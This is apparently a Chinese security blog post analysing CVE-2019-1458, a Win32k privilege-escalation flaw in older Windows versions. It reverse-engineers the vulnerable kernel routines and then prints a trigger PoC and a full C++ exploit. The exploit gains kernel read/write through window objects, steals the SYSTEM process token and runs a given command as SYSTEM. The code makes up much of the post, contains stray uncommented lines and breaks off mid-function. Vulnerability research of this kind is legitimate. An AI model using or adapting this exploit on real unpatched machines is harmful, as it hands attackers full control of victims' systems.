Bootstrap

CVE-2019-1458 分析

CVE-2019-1458

0x00 漏洞简介

CVE-2019-1458Win32k中的特权提升漏洞,Win32k组件无法正确处理内存中的对象时,导致Windows中存在一个特权提升漏洞。成功利用此漏洞的攻击者可以在内核模式下运行任意代码。然后攻击者可能会安装程序、查看、更改或删除数据;或创建具有完全用户权限的新帐户。

0x01 影响版本

Microsoft Windows 10 Version 1607 for 32-bit Systems
Microsoft Windows 10 Version 1607 for x64-based Systems
Microsoft Windows 10 for 32-bit Systems
Microsoft Windows 10 for x64-based Systems
Microsoft Windows 7 for 32-bit Systems SP1
Microsoft Windows 7 for x64-based Systems SP1
Microsoft Windows 8.1 for 32-bit Systems
Microsoft Windows 8.1 for x64-based Systems
Microsoft Windows RT 8.1
Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1
Microsoft Windows Server 2008 R2 for x64-based Systems SP1
Microsoft Windows Server 2008 for 32-bit Systems SP2
Microsoft Windows Server 2008 for Itanium-based Systems SP2
Microsoft Windows Server 2008 for x64-based Systems SP2
Microsoft Windows Server 2012
Microsoft Windows Server 2012 R2
Microsoft Windows Server 2016

0x03 漏洞分析

【 实 验 环 境 】 : W i n 7   s p 1 _ x 64   7600 \textcolor{green}{【实验环境】:Win7\ sp1\_x64\ 7600} Win7 sp1_x64 7600

漏洞发生在 x x x P a i n t S w i t c h W i n d o w \textcolor{cornflowerblue}{xxxPaintSwitchWindow} xxxPaintSwitchWindow函数中

■ xxxPaintSwitchWindow分析
void __fastcall xxxPaintSwitchWindow(tagWND *pwndSwitch)
{
  ...
  if ( (pwndSwitch->style & 0x10000000) != 0  )//bVisible被置位
  {
    if ( (pwndSwitch->fnid & 0x3FFF) == 0x2A0
      && pwndSwitch->cbwndExtra + 0x128i64 == *(unsigned __int16 *)(gpsi + 0x154) )
    {
      if ( *((char *)&pwndSwitch->1 + 3) < 0 )
        return;
      ExtraBytes = (_QWORD *)pwndSwitch->ExtraBytes;
    }
   if ( ExtraBytes )
   {
      hdcSwitch = (HDC)GetDCEx(pwndSwitch, 0i64, 0x10000i64);
      if ( !*((_DWORD *)ExtraBytes + 0x1B) )
        goto LABEL_11;
      LOBYTE(v3) = 0x12;
      if ( (GetKeyState(v3) & 0x8000u) == 0i64 )//判断Alt键状态
        goto LABEL_25;
      if ( !*((_DWORD *)ExtraBytes + 0x1B) )
      {
LABEL_11:
        if ( GetAsyncKeyState(0x12u) >= 0 )//判断Alt键状态
          goto LABEL_25;
      }
      GetClientRect(pwndSwitch, (char *)ExtraBytes + 92);
      FillRect(hdcSwitch, (char *)ExtraBytes + 0x5C, *(_QWORD *)(gpsi + 3024));
      v5 = -*((_DWORD *)GetDPIMetrics() + 0x13);
      v6 = *((_DWORD *)GetDPIMetrics() + 0x12);
      *((_DWORD *)ExtraBytes + 0x18) -= v5;
      *((_DWORD *)ExtraBytes + 0x1A) += v5;
      v6 *= -2;
      *((_DWORD *)ExtraBytes + 0x17) -= v6;
      *((_DWORD *)ExtraBytes + 0x19) += v6;
     ...
   }
   ...
  }
  ...
}

pwndSwitch表示的是被切换窗口的内核对象,满足4个条件:

  1. 被切换的窗口可视 @line:4
  2. 被切换窗口的 f n i d & 0 x 3 F F F = = 0 x 2 A 0 \textcolor{orange}{fnid \& 0x3FFF == 0x2A0} fnid&0x3FFF==0x2A0
  3. 被切换的窗口的额外数据大小加上0x128的值与 g p s i + 0 x 154 \textcolor{orange}{gpsi + 0x154} gpsi+0x154指向的内存值相等 @line:7
  4. Alt键按下

将会进入到漏洞位置 @line:18,发现从该处开始没有对 ExtraBytes 指向的内存做任何校验就直接写入,而 ExtraBytes 可以通过 S e t W i n d o w L o n g ∗ ∗ \textcolor{cornflowerblue}{SetWindowLong**} SetWindowLong系列函数设置,因此存在任意内存写漏洞。

x x x P a i n t S w i t c h W i n d o w \textcolor{cornflowerblue}{xxxPaintSwitchWindow} xxxPaintSwitchWindow函数可由 x x x S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxSwitchWndProc } xxxSwitchWndProc函数在某个情况下直接调用,下面对 x x x S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxSwitchWndProc} xxxSwitchWndProc进行一个简单分析。

■ xxxSwitchWndProc分析
__int64 __fastcall xxxSwitchWndProc(tagWND *pwnd, unsigned int message, __int64 wParam, __int64 lParam)
{
 ...
 if ( LOWORD(pwnd->fnid) == 0x2A0 )
 {
  	switch ( message )
    {
  	...
        case 0x14u:
      	case 0x3Au:
            v10 = *(_QWORD *)(v7 + 336);
            v14[1] = (__int64)pwnd;
            v14[0] = v10;
            *(_QWORD *)(v7 + 336) = v14;
            ++pwnd->head.cLockObj;
            xxxPaintSwitchWindow(pwnd);             // 漏洞函数
            ThreadUnlock1(v12, v11);
            return 0i64;
    }
 }
 ...
  if ( message == 1 )
  {
    LOWORD(pwnd->fnid) = 0x2A0;
    goto LABEL_7;
  }xxxSwitchWndProc
}
  • 当被切换窗口的 f n i d = = 0 x 2 A 0 \textcolor{orange}{fnid==0x2A0} fnid==0x2A0且传递的消息值是0x14或者是0x3A时就能够进入到漏洞函数。

x x x S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxSwitchWndProc} xxxSwitchWndProc函数进行交叉引用,发现在 x x x W r a p S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxWrapSwitchWndProc} xxxWrapSwitchWndProc函数中被调用。

__int64 __fastcall xxxWrapSwitchWndProc(tagWND *pwnd, unsigned int message, __int64 wParam, __int64 lParam)
{
  __int64 result; // rax

  if ( (unsigned int)CheckProcessIdentity() )
    result = xxxSwitchWndProc(pwnd, message, wParam, lParam);
  else
    result = 0i64;
  return result;
}

再对 x x x W r a p S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxWrapSwitchWndProc} xxxWrapSwitchWndProc函数进行交叉引用,发现在 I n i t F u n c t i o n T a b l e s \textcolor{cornflowerblue}{InitFunctionTables} InitFunctionTables函数中,将 x x x W r a p S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxWrapSwitchWndProc} xxxWrapSwitchWndProc函数指针保存在 g p s i + 0 x 40 \textcolor{orange}{gpsi+0x40} gpsi+0x40位置。目前看来没有哪个系统函数显示的调用了 x x x W r a p S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxWrapSwitchWndProc} xxxWrapSwitchWndProc,所以我们需要找到某个能够调用 g p s i + 0 x 40 \textcolor{orange}{gpsi+0x40} gpsi+0x40的函数。幸运的是这样的函数一抓一大把,正是NtUserfn开头的函数。这些函数内部有个统一的特征,就是根据dwType参数与gpsi做计算,调用位于gpsi某个位置的函数,就拿 N t U s e r f n N C D E S T R O Y \textcolor{cornflowerblue}{NtUserfnNCDESTROY} NtUserfnNCDESTROY举例

__int64 __fastcall NtUserfnNCDESTROY(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, char dwType)
{
  return (*(__int64 (__fastcall **)(__int64))(gpsi + 8i64 * ((dwType + 6) & 0x1F) + 16))(a1);
}

所有NtUserfn开头的函数都用着同样的计算方式 @line:3去调用gpsi中的函数。我们想调用的是位于 g p s i + 0 x 40 \textcolor{orange}{gpsi+0x40} gpsi+0x40 x x x W r a p S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxWrapSwitchWndProc} xxxWrapSwitchWndProc,所以这里传递的dwType可以取值但不限于0

N t U s e r M e s s a g e C a l l \textcolor{cornflowerblue}{NtUserMessageCall} NtUserMessageCall可以调用到NtUserfn开头系列的函数,下面来简单分析一下。

■ NtUserMessageCall分析
__int64 __fastcall NtUserMessageCall(HWND hwnd, unsigned int msg, __int64 wParam, __int64 lParam, __int64 ResultInfo, int dwType, int a7)
{
 ...
 if ( (hwnd == (HWND)0xFFFF || hwnd == (HWND)-1i64) && (dwType == 0x2B7 || dwType == 0x2B8) )
  {
    pwnd = (tagWND *)-1i64;
  }
  else
  {
    pwnd = (tagWND *)ValidateHwnd(hwnd);
	...
  }
  if ( msg < 0x400 )
      v15 = ((__int64 (__fastcall *)(tagWND *, _QWORD, __int64, __int64, __int64, int, int))gapfnMessageCall[*(_BYTE *)(msg - 0x68001000000i64 + 0x2A6390) & 0x3F])(
              pwnd,
              msg,
              wParam,
              lParam,
              ResultInfo,
              dwType,
              a7); 
  ...  
}

@line:14这里根据msg的取值,调用了一个全局函数指针数组中的某个函数。浏览一下gapfnMessageCall的部分元素

.rdata:FFFFF97FFF2A6190 	gapfnMessageCall dq offset NtUserfnNCDESTROY
.rdata:FFFFF97FFF2A6190                                         ; DATA XREF: NtUserMessageCall+12A↑r
.rdata:FFFFF97FFF2A6198                 dq offset NtUserfnNCDESTROY
.rdata:FFFFF97FFF2A61A0                 dq offset NtUserfnINLPCREATESTRUCT
.rdata:FFFFF97FFF2A61A8                 dq offset NtUserfnINSTRINGNULL
.rdata:FFFFF97FFF2A61B0                 dq offset NtUserfnOUTSTRING
.rdata:FFFFF97FFF2A61B8                 dq offset NtUserfnINSTRING
.rdata:FFFFF97FFF2A61C0                 dq offset NtUserfnINOUTLPWINDOWPOS
.rdata:FFFFF97FFF2A61C8                 dq offset NtUserfnINLPDRAWITEMSTRUCT
.rdata:FFFFF97FFF2A61D0                 dq offset NtUserfnINOUTLPMEASUREITEMSTRUCT

@line:14的计算是重点和msg的取值有关,而msg的取值还会决定 x x x S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxSwitchWndProc} xxxSwitchWndProc函数流程该走向switch中的哪个分支。我们期望的msg取值是0x14或者0x3A,以便从 x x x S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxSwitchWndProc} xxxSwitchWndProc函数中进入 x x x P a i n t S w i t c h W i n d o w \textcolor{cornflowerblue}{xxxPaintSwitchWindow} xxxPaintSwitchWindow漏洞函数。@line:14IDA的反汇编结果不太准确,需要从汇编代码中去分析

NtUserMessageCall+101                  lea     r11, cs:0FFFFF97FFF000000h	
NtUserMessageCall+108                  movzx   r10d, byte ptr [rsi+r11+2A6390h]	;rsi = msg , r11+2A6390h = MessageTable
																		 ; r10d = MessageTable[rsi]
NtUserMessageCall+111                  mov     [rsp+78h+var_48], eax
NtUserMessageCall+115                  mov     rax, [rsp+78h+ResultInfo]
NtUserMessageCall+11D                  and     r10d, 3Fh
NtUserMessageCall+121                  mov     [rsp+78h+var_50], ebp
NtUserMessageCall+125                  mov     [rsp+78h+var_58], rax
NtUserMessageCall+12A                  call    ds:rva gapfnMessageCall[r11+r10*8]

从汇编代码的结果来看,@line:14正确的反汇编结果应该是

v15 = ((__int64 (__fastcall *)(tagWND *, _QWORD, __int64, __int64, __int64, int, int))gapfnMessageCall[ MessageTable[msg] & 0x3F](
    		 pwnd,
              msg,
              wParam,
              lParam,
              ResultInfo,
              dwType,
              a7); );

MessageTable部分数据:

kd> db fffff960`00050000+2A6390h
fffff960`002f6390  00 c2 00 00 00 00 00 00-00 00 00 00 c3 c4 ec 00  ................
fffff960`002f63a0  00 00 00 00 80 00 00 00-00 00 c3 c5 00 00 00 00  ................
fffff960`002f63b0  00 00 00 00 86 00 00 80-00 00 00 87 88 89 00 4a  ...............J
fffff960`002f63c0  00 80 00 00 00 00 00 00-8b 8c 29 00 a9 00 00 00  ..........).....
fffff960`002f63d0  00 00 00 00 00 00 8d 8e-00 cf 90 00 00 00 00 00  ................
fffff960`002f63e0  00 00 00 91 00 00 00 00-00 00 00 00 00 00 00 00  ................
fffff960`002f63f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fffff960`002f6400  a9 00 00 00 00 00 00 00-00 00 00 00 92 92 00 00  ................

根据 @line:14的计算方式,当 m s g = 0 x 14 \textcolor{orange}{msg=0x14} msg=0x14时,取到的函数指针为 N t U s e r f n N C D E S T R O Y \textcolor{cornflowerblue}{NtUserfnNCDESTROY} NtUserfnNCDESTROY;当 m s g = 0 x 3 A \textcolor{orange}{msg=0x3A} msg=0x3A时,取到的函数指针为 s u b _ F F F F F 97 F F F 0 E 3 D B 4 \textcolor{cornflowerblue}{sub\_FFFFF97FFF0E3DB4} sub_FFFFF97FFF0E3DB4,显然 m s g = 0 x 3 A \textcolor{orange}{msg=0x3A} msg=0x3A这种情况下,取到的函数名不是以NtUserfn开头的,结构不符合要求,所以舍去。

下面编写测试POC,验证漏洞。

0x04 漏洞验证

WNDCLASSEXW wcs = { 0 };
wcs.cbSize = sizeof(WNDCLASSEXW);
wcs.cbWndExtra = 8;
wcs.hInstance = GetModuleHandleA(0);
wcs.lpszMenuName = 0;
wcs.lpfnWndProc = DefWindowProcW;
wcs.lpszClassName = L"Trigger";
ATOM atom;
if ((atom = RegisterClassExW(&wcs))==INVALID_ATOM) {
    printf("[!]Error: %d\n", __LINE__ - 1);
    return;
}

//创建一个用于触发漏洞的窗口
HWND hTrigger = CreateWindowExW(0, (LPCWSTR)(unsigned short)atom, NULL, WS_VISIBLE, 
                                0, 0, 0, 0, NULL, NULL, GetModuleHandleA(0), NULL);
if (hTrigger == INVALID_HANDLE_VALUE) {
    printf("[!]Error: %d\n", __LINE__ - 1);
    return;
}

printf("[+]hTrigger = 0x%x\n", hTrigger);

//设置hTrigger的tagWND->ExtraBytes 0x18偏移处的值为无效的内存指针
SetWindowLongPtrW(hTrigger, 0, 'AAAA');
//第一次调用NtUserMessageCall目的是给hTrigger对应的tagWND->fnid赋值0x2A0
NtUserMessageCall(hTrigger, WM_CREATE, 0, 0, 0, 0, 0);

//创建一个类名为#32771的窗口,此窗口的特点是设置[gpsi+0x154]=0x130
HWND hSwitchWnd= CreateWindowExW(0,L"#32771" , L"Switch Window", 0, 0, 0, 0, 0, NULL, NULL, GetModuleHandleA(0), NULL);
if (hSwitchWnd == INVALID_HANDLE_VALUE) {
    printf("[!]Error: %d\n", __LINE__ - 2);
    return;
}

Key_Down(VK_MENU);

//第二次调用NtUserMessageCall目的是触发漏洞
NtUserMessageCall(hTrigger, 0x14, 0, 0, 0, 0, 0);

@line:25先将ExtraBytes偏移为0的位置设置成一个无效指针。

@line:27需要说明一下,窗口创建之初默认其fnid0,所以第一次调用 N t U s e r M e s s a g e C a l l \textcolor{cornflowerblue}{NtUserMessageCall} NtUserMessageCall,其msg传值为1,为的就是利用 x x x S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxSwitchWndProc} xxxSwitchWndProc修改 f n i d = 0 x 2 A 0 \textcolor{orange}{fnid=0x2A0} fnid=0x2A0

@line:30创建一个类名为#32771的窗口是为了绕过 x x x P a i n t S w i t c h W i n d o w \textcolor{cornflowerblue}{xxxPaintSwitchWindow} xxxPaintSwitchWindow函数中对 g p s i + 154 \textcolor{orange}{gpsi+154} gpsi+154的检查(回顾相应部分的分析的 @line:7)。

@line:36模拟键盘按下Alt键是为了绕过 x x x P a i n t S w i t c h W i n d o w \textcolor{cornflowerblue}{xxxPaintSwitchWindow} xxxPaintSwitchWindow函数中对按键状态的检查(回顾相应部分的分析的 @line:24)。

@line:39第二次调用 N t U s e r M e s s a g e C a l l \textcolor{cornflowerblue}{NtUserMessageCall} NtUserMessageCall,其msg传值为0x14触发漏洞。

通过动态调试我们发现,漏洞成功触发:
在这里插入图片描述

t a g W N D − > E x t r a B y t e s \textcolor{orange}{tagWND->ExtraBytes} tagWND>ExtraBytes成功被修改为一个无效指针,随后对其访问或者修改会则引发系统BSOD

0x05 漏洞利用

回顾之前对 x x x P a i n t S w i t c h W i n d o w \textcolor{cornflowerblue}{xxxPaintSwitchWindow} xxxPaintSwitchWindow的静态分析,函数会修改 E x t r a B y t e s + 0 x 5 C \textcolor{orange}{ExtraBytes+0x5C} ExtraBytes+0x5C开始的0x10个字节数据,通过动态调试发现,实际上是从 E x t r a B y t e s + 0 x 58 \textcolor{orange}{ExtraBytes+0x58} ExtraBytes+0x58处就开始连续修改了24个字节的数据,并且修改后的数据都异常的大:

kd> dq 0x000000000035f6a0+58
00000000`0035f6f8  0000000e`00000000 00000066`ffffffde
00000000`0035f708  00000000`ffffffef 00000000`00000000
00000000`0035f718  00000000`00000000 00000000`00000000
00000000`0035f728  00000000`00000000 00000000`00000000
00000000`0035f738  00000000`00000000 00000000`00000000

所以利用的思路就和之前我另一篇CVE-2016-07255分析的一样。稍有不同的是,在win7 x64sp1下,需要使用 N t U s e r D e f S e t T e x t \textcolor{cornflowerblue}{NtUserDefSetText} NtUserDefSetText代替 S e t W i n d o w T e x t W \textcolor{cornflowerblue}{SetWindowTextW} SetWindowTextW实现写原语,使用 I n t e r n a l G e t W i n d o w T e x t \textcolor{cornflowerblue}{InternalGetWindowText} InternalGetWindowText代替 G e t W i n d o w T e x t W \textcolor{cornflowerblue}{GetWindowTextW} GetWindowTextW实现读原语,函数名不同,用法基本相同。

最后还需要对之前部分内核数据的修改做出修正,否则在窗口关闭的时候会BSOD,这只是防止蓝屏的简单部分。随后我发现,窗口关闭导致蓝屏的问题虽然解决了,然而cmd进程结束导致了系统蓝屏,错误信息如下:

*** Fatal System Error: 0x0000004e
                       (0x0000000000000099,0x0000000000105498,0x0000000000000000,0x0000000000105518)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!RtlpBreakWithStatusInstruction:
fffff800`03cc2f60 cc              int     3
kd> kb
 # RetAddr               : Args to Child                                                           : Call Site
00 fffff800`03dc06d2     : 00000000`00000099 fffffa80`06635b60 00000000`00000065 fffff800`03d09314 : nt!RtlpBreakWithStatusInstruction
01 fffff800`03dc14be     : 00000000`00000003 00000000`00000000 fffff800`03d05ee0 00000000`0000004e : nt!KiBugCheckDebugBreak+0x12
02 fffff800`03ccb004     : fffffa80`06635b60 fffff880`03e48d48 fffff880`03e48c70 fffff800`03cce54b : nt!KeBugCheck2+0x71e
03 fffff800`03d5932c     : 00000000`0000004e 00000000`00000099 00000000`00105498 00000000`00000000 : nt!KeBugCheckEx+0x104
04 fffff800`03d2dce4     : 00000000`000007ff 00000000`00000410 fffff8a0`013356f0 00000000`000003ac : nt!MiBadShareCount+0x4c
05 fffff800`03f87542     : fffff780`00000004 00000000`00000000 00000000`00000001 fffffa80`0370b080 : nt! ?? ::FNODOBFM::`string'+0x17551
06 fffff800`03f87207     : fffffa80`060f1370 00000000`00000008 fffffa80`00000000 fffffa80`00000000 : nt!MmDeleteProcessAddressSpace+0x42
07 fffff800`03cd00b4     : 00000000`00000000 fffffa80`060f1370 fffffa80`060f1340 fffff800`04057915 : nt!PspProcessDelete+0x177
08 fffff800`03dcf439     : fffffa80`060f1370 fffffa80`06814000 fffffa80`06814e48 fffffa80`06814e40 : nt!ObfDereferenceObject+0xd4
09 fffff800`0411b1fe     : fffffa80`00000372 fffffa80`0466f000 fffffa80`060f1370 fffffa80`06814e48 : nt!MmFreeAccessPfnBuffer+0x29
0a fffff800`0413c820     : fffffa80`06635b01 00000000`00000080 fffffa80`0370b740 fffff800`03e57568 : nt!PfpFlushBuffers+0x23e
0b fffff800`03f6e166     : ffffffff`ff676980 fffffa80`06635b60 fffff880`03e48db0 fffffa80`06635b60 : nt!PfTLoggingWorker+0xe0
0c fffff800`03ca9486     : fffff800`03e43e80 fffffa80`06635b60 fffffa80`062f5b60 fffff880`0123fa90 : nt!PspSystemThreadStartup+0x5a
0d 00000000`00000000     : fffff880`03e49000 fffff880`03e43000 fffff880`03e48750 00000000`00000000 : nt!KiStartSystemThread+0x16

我严重怀疑是x64下替换当前进程的TokenSYSTEMToken时会涉及Token对象的引用计数问题,然后我尝试在替换之前给SYSTEMToken引用计数从1增加到210,而在这3种情况下,cmd进程结束还是会BSOD。然而,我手动在Windbg模拟修改cmdTokenSYSTEMToken,在cmd结束后却不会蓝屏。后来我又试着在替换当前cmd进程的Token时做个备份,在cmd进程结束之前再替换回来,结果还是BSOD。这个问题目前还没解决,在线等各位大佬的帮助v^v!

0x06 EXP

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

#define EXTRABYTES_SIZE_OFFSET_IN_TAGWND 0xE8
#define STRNAME_OFFSET_IN_TAGWND 0xD8
#define EXTRABYTES_OFFSET_IN_TAGWND 0x128
#define SPWNDLASTACTIVE_OFFSET_IN_TAGWND 0xF0
#define EPROCESS_OFFSET_IN_KTHREAD 0x210
#define TOKEN_OFFSET_IN_EPROCESS 0x208
#define EPROCESS_ENTRY_OFFSET_IN_EPROCESS 0x188
#define PID_OFFSET_IN_EPROCESS 0x180
#define OBJECT_HEADER_SIZE 0x30

typedef struct _LARGE_UNICODE_STRING {
	ULONG Length;
	ULONG MaximumLength : 31;
	ULONG bAnsi : 1;
	PWSTR Buffer;
} LARGE_UNICODE_STRING, * PLARGE_UNICODE_STRING;

typedef struct _THRDESKHEAD {
	HANDLE  h;
	ULONG   cLockObj;
	PVOID   pti;
	PVOID   rpdesk;
	PBYTE   pSelf;
} THRDESKHEAD, * PTHRDESKHEAD;

typedef PVOID(__fastcall* HMValidateHandle_t)(HANDLE, UINT);
extern "C" NTSTATUS  NtUserMessageCall(HANDLE hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
extern "C" NTSTATUS  NtUserDefSetText(HANDLE hWnd, PLARGE_UNICODE_STRING plstr);
extern "C" ULONG g_NtUserDefSetText_syscall = 0x107f, g_NtUserMessageCall_syscall = 0x1007;

HMValidateHandle_t HMValidateHandle = 0;

HWND g_hWndList[0x100] = { 0 };
ULONG64 g_spKwnd[0x100] = { 0 };

BOOLEAN Init() {
	int offset = 0;
	ULONG next_code = 0;
	ULONG dwRetBytes = 0;
	int Kernel_Base_index = 0;
	HMODULE hKernel = 0;

	for (int i = 0; i < 0x100; i++) {
		PUCHAR tr = (PUCHAR)IsMenu + i;
		if (*tr == 0xE8)
		{//找到调用HMValidateHandle的指令位置
			offset = *(int*)((PCHAR)IsMenu + i + 1);
			next_code = (ULONG)IsMenu + i + 5;
			HMValidateHandle = (HMValidateHandle_t)(next_code + offset);
			break;
		}
	}

	if (!HMValidateHandle) {
		printf("[!]Error: %d\n", __LINE__ - 1);
		return FALSE;
	}
	printf("[+]Found HMValidateHandle = 0x%p\n", HMValidateHandle);

	return TRUE;
}

ULONG64 readQWORD(PVOID TargetAddr, HWND hWndAttack, HWND hWndVictim, ULONG64 Offset,PULONG64 OldQword) {
	WCHAR qwVal[8] = { 0 };
	ULONG64 ret;
	ret = SetWindowLongPtrW(hWndAttack, Offset, (ULONG64)TargetAddr);
	if (OldQword)*OldQword = ret;
	InternalGetWindowText(hWndVictim, qwVal, sizeof(qwVal));
	return *(PULONG64)qwVal;
}

VOID writeQWORD(
	PVOID TargetAddr, HWND hWndAttack, HWND hWndVictim, ULONG64 Offset, ULONG64 Value,  PULONG64 OldQword
) {
	ULONG64 ret;
	LARGE_UNICODE_STRING data = { 0 };
	ret = SetWindowLongPtrW(hWndAttack, Offset, (ULONG64)TargetAddr);
	if (OldQword)*OldQword = ret;
	data.bAnsi = 0;
	data.Length = 8;
	data.MaximumLength = 0xA;
	data.Buffer = (PWCHAR)&Value;
	NtUserDefSetText(hWndVictim, &data);
}

VOID Exploit(char* cmd) {
	WNDCLASSEXW wcs = { 0 };
	wcs.cbSize = sizeof(WNDCLASSEXW);
	wcs.cbWndExtra = 8;
	wcs.hInstance = GetModuleHandleA(0);
	wcs.lpszMenuName = 0;
	wcs.lpfnWndProc = DefWindowProcW;

	for (int i = 0; i < 0x100;) {
		WCHAR wszClsName[0x20];
		wsprintfW(wszClsName, L"%d", (i + 1) * 1998);
		wcs.lpszClassName = wszClsName;
		if (RegisterClassExW(&wcs)==INVALID_ATOM) {
			continue;
		}
		HWND hTmp = CreateWindowExW(
			NULL,
			wszClsName,
			L"Fuck you",
			WS_VISIBLE,
			0, 0, 0, 0, NULL, 0, GetModuleHandleA(0), 0
		);
		if (hTmp==INVALID_HANDLE_VALUE) {
			continue;
		}
		PTHRDESKHEAD spRdes = (PTHRDESKHEAD)HMValidateHandle(hTmp, 1);
		g_spKwnd[i] = (ULONG64)spRdes->pSelf;
		g_hWndList[i++] = hTmp;
	}

	HWND hWndAttack = 0;
	HWND hWndVictim = 0;
	ULONG64 spKwndAttack = 0;
	ULONG64 spKwndVictim = 0;
	BOOLEAN bOver = FALSE;

	//寻找在内核中位置相距在0xFF0000之内的两个窗口,其余窗口全部销毁
	for (int i = 0; i < 0x100 - 1 && !bOver; i++) {
		for (int j = i + 1; j < 0x100; j++) {
			hWndAttack = g_spKwnd[i] > g_spKwnd[j] ? g_hWndList[j] : g_hWndList[i];
			hWndVictim = (g_spKwnd[i] < g_spKwnd[j]) ? g_hWndList[j] : g_hWndList[i];

			spKwndAttack = (g_spKwnd[i] < g_spKwnd[j]) ? g_spKwnd[i] : g_spKwnd[j];
			spKwndVictim = (g_spKwnd[i] > g_spKwnd[j]) ? g_spKwnd[i] : g_spKwnd[j];

			if (spKwndVictim - spKwndAttack < 0xFF0000)
			{
				g_hWndList[i] = g_hWndList[j] = 0;
				bOver = TRUE;
				break;
			}
		}
	}

	for (int i = 0; i < 0x100; i++)
		DestroyWindow(g_hWndList[i]);

	if (spKwndAttack == 0 || spKwndVictim == 0) {
		printf("[+]Error:%d\n", __LINE__ - 1);
		return;
	}

	printf("[+]spKwndAttack = 0x%p\n", spKwndAttack);
	printf("[+]spKwndVictim = 0x%p\n", spKwndVictim);

	SetWindowLongPtrW(hWndAttack, 0, spKwndAttack+EXTRABYTES_SIZE_OFFSET_IN_TAGWND-0x60);
	//第一次调用NtUserMessageCall目的是给hTrigger对应的tagWND->fnid赋值0x2A0
	NtUserMessageCall(hWndAttack, WM_CREATE, 0, 0, 0, 0, 0);

	//创建一个类名为#32771的窗口,此窗口的特点是设置[gpsi+0x154]=0x130
	HWND hSwitchWnd= CreateWindowExW(0,L"#32771" , L"Switch Window", 0, 0, 0, 0, 0, NULL, NULL, GetModuleHandleA(0), NULL);
	if (hSwitchWnd == INVALID_HANDLE_VALUE) {
		printf("[!]Error: %d\n", __LINE__ - 2);
		return;
	}

	BYTE keyState[256];
	GetKeyboardState(keyState);
	keyState[VK_MENU] |= 0x80;
	SetKeyboardState(keyState);
	//第二次调用NtUserMessageCall目的是触发漏洞,此时hWndAttack的cbWndExtra已被修改成很大的数
	NtUserMessageCall(hWndAttack, 0x14, 0, 0, 0, 0, 0);

	ULONG64 ulOffset = spKwndVictim - spKwndAttack - EXTRABYTES_OFFSET_IN_TAGWND
		+ STRNAME_OFFSET_IN_TAGWND+8;

	printf("[+]ulOffset = 0x%p\n", ulOffset);
	PTHRDESKHEAD spRdes = (PTHRDESKHEAD)HMValidateHandle(hWndVictim, 1);

	ULONG64 ulOld;

	ULONG64 Ethread = readQWORD(spRdes->pti, hWndAttack, hWndVictim, ulOffset, &ulOld);

	printf("[+]ulOld = 0x%p\n", ulOld);
	printf("[+]Ethread = 0x%p\n", Ethread);
	
	ULONG64 CurEprocess = readQWORD((PVOID)(Ethread + EPROCESS_OFFSET_IN_KTHREAD),
		hWndAttack, hWndVictim, ulOffset, NULL);
	ULONG64 NextEprocess = CurEprocess;
	printf("[+]CurEprocess = 0x%p\n", CurEprocess);

	ULONG64 CurPid = GetCurrentProcessId();
	ULONG64 Pid = 0;
	ULONG64 Token = 0;
	ULONG64 OldToken = 0;
	PVOID TokenAddress = NULL;
	ULONG64 RefCnt;

	do {
		Pid = readQWORD((PVOID)(NextEprocess + PID_OFFSET_IN_EPROCESS),
			hWndAttack, hWndVictim, ulOffset, NULL);
		if (Pid == 4) {
			Token = readQWORD((PVOID)(NextEprocess + TOKEN_OFFSET_IN_EPROCESS),
				hWndAttack, hWndVictim, ulOffset, NULL);
		}
		else if (Pid == CurPid) {
			TokenAddress = (PVOID)(NextEprocess + TOKEN_OFFSET_IN_EPROCESS);
			OldToken = readQWORD((PVOID)(NextEprocess + TOKEN_OFFSET_IN_EPROCESS),
				hWndAttack, hWndVictim, ulOffset, NULL);
		}
		NextEprocess = readQWORD((PVOID)(NextEprocess + EPROCESS_ENTRY_OFFSET_IN_EPROCESS),
			hWndAttack, hWndVictim, ulOffset, NULL)- EPROCESS_ENTRY_OFFSET_IN_EPROCESS;
	} while (NextEprocess != CurEprocess);

	printf("[+]TokenAddress = 0x%p\n", TokenAddress);
	printf("[+]Token = 0x%p\n", Token);

	if (Token && TokenAddress) {
		/*	RefCnt = readQWORD((PVOID)((Token & 0xFFFFFFFFFFFFFFF0) - OBJECT_HEADER_SIZE ),
				hWndAttack, hWndVictim, ulOffset, NULL);
			printf("[+]System token RefCnt = %d\n", RefCnt);*/

		修改令牌前,需要先修改令牌的引用计数
	/*	writeQWORD((PVOID)((Token & 0xFFFFFFFFFFFFFFF0) - OBJECT_HEADER_SIZE),
			hWndAttack, hWndVictim, ulOffset, RefCnt + 2, NULL);*/
	writeQWORD((PVOID)TokenAddress,
		hWndAttack, hWndVictim, ulOffset, (Token & 0xFFFFFFFFFFFFFFF0), NULL);

		printf("[*]Try execute %s as SYSTEM!\n", cmd);
		system(cmd);

	}
	else {
		printf("[-]Privilege escalation Failed!\n");
	}
	防蓝屏操作
	//writeQWORD((PVOID)TokenAddress,
	//	hWndAttack, hWndVictim, ulOffset, OldToken,NULL);

	writeQWORD((PVOID)(spKwndAttack + STRNAME_OFFSET_IN_TAGWND), 
		hWndAttack, hWndVictim, ulOffset, 0,NULL);
	writeQWORD((PVOID)(spKwndAttack + STRNAME_OFFSET_IN_TAGWND+8),
		hWndAttack, hWndVictim, ulOffset, 0, NULL);
	writeQWORD((PVOID)(spKwndAttack + SPWNDLASTACTIVE_OFFSET_IN_TAGWND), 
		hWndAttack, hWndVictim, ulOffset, 0, NULL);
	SetWindowLongPtrW(hWndAttack, ulOffset, ulOld);

	return;
}

int main(int argc, char** argv) {
	if (Init()) {
		Exploit(argv[1]);
